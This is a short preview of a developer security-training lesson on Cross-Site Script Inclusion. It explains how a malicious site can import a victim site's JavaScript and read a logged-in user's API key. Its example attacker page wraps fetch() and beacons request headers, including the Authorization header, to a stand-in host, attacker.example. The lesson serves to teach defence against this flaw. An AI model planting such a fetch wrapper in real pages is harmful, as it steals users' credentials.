Cross-Site Script Inclusion

Public preview

Want everyone on your software team to learn this? Free 14-day trial.

Train my team

However, a malicious website can import your JavaScript code. If a user visits such a malicious site after logging into your site, the site owner will be able to read the user's API key simply by importing your JavaScript file!

hacked.html
HTML 
<script>
  /**
   * If this page is hosted on an attacker's website, and one of your
   * users is tricked into visiting it, the attacker can wrap fetch()
   * to watch every request your JavaScript makes...
   */
  const originalFetch = window.fetch;

  window.fetch = (url, options) => {
    // ...including the Authorization header built from the API key.
    navigator.sendBeacon('https://attacker.example/keys', JSON.stringify(options?.headers));
    return originalFetch(url, options);
  };
</script>

<!--
  Importing your JavaScript renders your app into this page, with the
  user's API key baked in, and the app calls fetch() to load the profile.
-->
<div id="root"></div>
<script src="https://www.yourwebsite.com/js/bundle.js"></script>